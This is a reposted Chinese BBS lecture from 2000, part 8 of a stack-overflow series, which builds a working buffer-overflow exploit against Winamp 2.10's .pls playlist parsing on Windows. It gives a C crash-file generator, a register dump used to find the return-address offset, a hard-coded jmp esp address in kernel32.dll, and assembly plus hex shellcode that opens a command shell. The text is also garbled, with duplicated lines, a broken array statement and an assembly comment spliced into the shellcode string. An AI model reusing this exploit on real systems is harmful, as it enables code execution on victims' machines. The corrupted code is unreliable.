荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: playboy (冷冷的太阳), 信区: Program
标  题: [转载] 堆栈溢出系列讲座(8)
发信站: BBS 荔园晨风站 (Fri Feb 25 23:43:23 2000), 转信

【 以下文字转载自 Hacker 讨论区 】
【 原文由 bstone 所发表 】
发信人: ipxodi (乐乐~闭关苦攒论文中), 信区: Hacker
标  题: 堆栈溢出系列讲座(8)
发信站: BBS 水木清华站 (Wed Feb 23 20:35:42 2000)

堆栈溢出系列讲座
                window系统下的堆栈溢出----溢出字符串的设计
我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算
偏移地址,以及如何编写一个shellcode以得到dos。

但是这远远不够。

大家知道windows系统的用户进程空间是0--2G,操作系统所占的为2--4G。
事实上用户进程的加载位置为:0x00400000.这个进程的所有指令地址,数据地址

和堆栈指针都会含有0,那么我们的返回地址就必然含有0。

现在来看一看我们的shellcode:NNNNSSSSAAAAAA。显然,我们的shellcode
由于A里面含有0,所以就变成了NNNNNNNNSSSSSA,这样,我们的返回地址A必须精确

的放在确切的函数堆栈中的ret位置。

事实上,在上一讲里面,我们已经掌握了很精确的找到这个位置的方法。


其次,windows在执行mov esp,ebp的时候,把废弃不用的堆栈用随机数据填充
(实验所得,机制如何,大家一起研究),因此我们的shellcode可能会被覆盖!

----这下完蛋了,我们的shellcode都没了,返回地址正确又有什么用??

所以,我们的shellcode必须改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓
冲区
溢出发生之后,堆栈的布局如下:

内存底部                               内存顶部
           buffer       EBP    ret
<------   [NNNNNNNNNNN][N   ] [A   ]SSSS
          ^&buffer
堆栈顶部                               堆栈底部

看到了吗?我们的A覆盖了返回地址。S位于堆栈的底部。A的内容,就是指向S的调
用。

但是,刚才我们说过A里面是含有0字符的,这样的溢出字符串,在A处就被0阻断,

根本无法到shellcode。我们需要把A改成不包含0的地址。


好像没有办法了,是吗?现在我们的A如何能做到即可以跳转到我们的shellcode,

又可以不包含0字节呢?

大家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧?
他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转

的思想。我不得不说这是一个天才的想法。事实上,这一技巧开创了一个崭新
的windows缓冲区溢出的思路。

思路是这样的:返回地址A的内容不指向我们的shellcode开始地点,否则的话
A里面必然含有0。我们知道系统核心的dll都是在2-4G,也就是从0x80000000到
0xffffffff,这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他
)。
因此,我们可以令返回地址A等于一个系统核心dll中的指令的地址,这个指令的
作用就是call/jmp 我们的shellcode。

但是他怎么才能知道我们的shellcode的地址呢?

答案是:用寄存器。因为在溢出发生的时候,除了eip跳到了系统核心dll去之外,

其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息
其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息

比如说,敌人的函数如果有参数的话,那么我们的A覆盖了他的返回地址,
shellcode
的开始地址则恰恰在他的第一个参数的位置上,那我们就可以用call [ebp+4]或者

我们假设敌人第一个参数的地址在eax,那我们就可以使用call/jmp eax来调用
shellcode。
这些寄存器的值,我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和

堆栈的详细资料。

那么我们怎么知道哪里有call/jmp eax什么的呢?我们又怎么知道这些指令是每次
都在
内存中可以直接调用呢?

答案是:系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll.
这些dll是一直位于内存中而且对应于固定的版本windows加载的位置是固定的。
你可以在这些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看
程序
自己的import列表了。看看他是否load了这个dll。不过一般的说,这几个dll就够
了。


好,那么我们的shellcode最终为:
NNNNNNNNNNNNNNNASSSSSSSS
其中:N为NOP指令
A为指向某一条call/jmp指令的地址,这个call/jmp指令位于系统核心内存
>0x80000000,
这个call/jmp指令具体的内容,需要根据我们exploit出来的结果分析得知。
S:shellcode。

有了这些基础知识,我们来分析一个实例。

大家都有winamp吧,他的2.10有缓冲区漏洞,下面我们来实现一个exploit。

winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度
如果大于一定长度就会发生堆栈溢出。我们可以写出测试串,精确的测试。
test.cpp
------------------------------------------------------------------------
----
#include <stdio.h>

int main()
{
char buffer[640];
char buffer[640];
char eip[8] =  "";
char sploit[256] = "";
FILE *file;

for(int x=0;x<640;x++)
{
        switch(x%4)     {
        case 0: buffer[x] = 'A';break;
        case 1: buffer[x] = 'A'+x/26%26/26%26;  break;
        case 2: buffer[x] = 'A'+x/26%26;        break;
        case 3: buffer[x] = 'A'+x%26;break;

        }
}
buffer[x =0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
------------------------------------------------------------------------
----
算法很简单,是写出一个crach.pls文件,内容可以根据那几个fprintf看出来的。

我就不讲了,其中buffer的内容为测试用的字符串。这个测试程序可以测试
最长为26^3的串,足够了。

编译执行,看看结果,嘿,发生了堆栈溢出,结果如下:

WINAMP 在 00de:4c574141 的模块
 <未知> 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:

Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141
4e584141 52584141 56584141 5a584141 44594141 48594141
4c594141 50594141

根据eip=4141574c计算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好,溢出的位置为580。

大家现在知道我们的溢出字符串中,返回地址A应该在串的580处,那么我们应该
让他使用什么call/jmp指令以达到shellcode呢?

看看寄存器dump,我们发现ESP里面的内容是41415750,恰好是4141574c之后的
第一个数。看来ESP指向我们的shellcode,太棒了!我们使用指令:
jmp ESP 就可以执行我们的shellcode了。

现在找出jmp esp的指令码为 FF E4,ctrl-D 调出s-ice,看看内存里面那里有FF
E4.
因为系统核心dll的加载地址都是从地址0xBf000000开始,所以我们
搜索s Bf000000 L ffffffff ff,e4
得到了哪些结果?
得到了哪些结果?

一堆呀,这第一个是:BFF795A3。看看softice里面的进程名称栏:
Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。

ok,问题解决,我们现在可以确定在buffer〔580〕处,写入四个字节:
"\xa3\x95\xf7\xbf".这就是我们的溢出字符串中的返回地址A。

好了,现在溢出字符串已经基本分析完了,就差shellcode了。
下面我们来写shellcode。
我们的shellcode要开一个dos窗口。C语言的算法描述是:

LoadLibrary("msvcrt.dll");
system("command.com");
exit(0);
很简单,是不是?下面是汇编代码:

首先要LoadLibrary("msvcrt.dll");
                  push ebp
                  mov ebp,esp
                  xor eax,eax
                  push eax
                  push eax
                  push eax
                  push eax
                  mov byte ptr[ebp-0Ch],4Dh
                  mov byte ptr[ebp-0Bh],53h
                  mov byte ptr[ebp-0Ah],56h
                  mov byte ptr[ebp-09h],43h
                  mov byte ptr[ebp-08h],52h
                  mov byte ptr[ebp-07h],54h
                  mov byte ptr[ebp-06h],2Eh
                  mov byte ptr[ebp-05h],44h
                  mov byte ptr[ebp-04h],4Ch
                  mov byte ptr[ebp-03h],4Ch
                  mov edx,0xBFF776D4    //LoadLibrary
                  push edx
                  lea eax,[ebp-0Ch]
                  push eax
                  call dword ptr[ebp-10h]
然后是开一个dos窗口:
                  push ebp
                  mov ebp, esp
                  sub esp, 0000002C
                  mov eax, 6D6D6F63
                  mov dword ptr [ebp-0C], eax
                  mov dword ptr [ebp-0C], eax
                  mov eax, 2E646E61
                  mov dword ptr [ebp-08], eax
                  mov eax, 226D6F63
                  mov dword ptr [ebp-04], eax
                  xor edx, edx
                  mov byte ptr [ebp-01], dl
                  lea eax, dword ptr [ebp-0C]
                  push eax
                  mov eax, 78019824 //system
                  call eax
最后执行exit,退出来。

                  push ebp
                  mov ebp,esp
                  mov edx,0xFFFFFFFF
                  sub edx,0x87FFAAFB//exit
                  push edx
                  xor eax,eax
                  push eax
                  call dword ptr[ebp-04h]

简单说一下,msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库。
简单说一下,msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库。
要想使用system,exit,必须加载这个库。而winamp没有import这个库,
所译我们需要自己加载。
指令   mov edx,0xBFF776D4中,0xBFF776D4是函数LoadLibraryA的地址。
他的代码在kernel32.dll中,是被winamp加载了的dll。我的机器上kernel32.
dll
版本是: (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函数system的地址。版本:(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函数exit的地址。版本:(v6.00.8397.0)
由于里面有0,所以使用两条指令来完成:
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504

编译,找出二进制code:
shellcode:
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
5\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
4\x2E"
sub edx,0x87FFAAFB//==mov edx,0x78005504
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
5\xF4"
"\x50\xB8\x24\x98\x01\x78\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
0\xFF\x55\xFC";

好了,所有的算法都讨论完了,下一讲我们就来实现一个exploit。
--
知足长乐

※ 来源:·BBS 水木清华站 smth.org·[FROM: 202.112.101.131]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.23]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.1.90]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店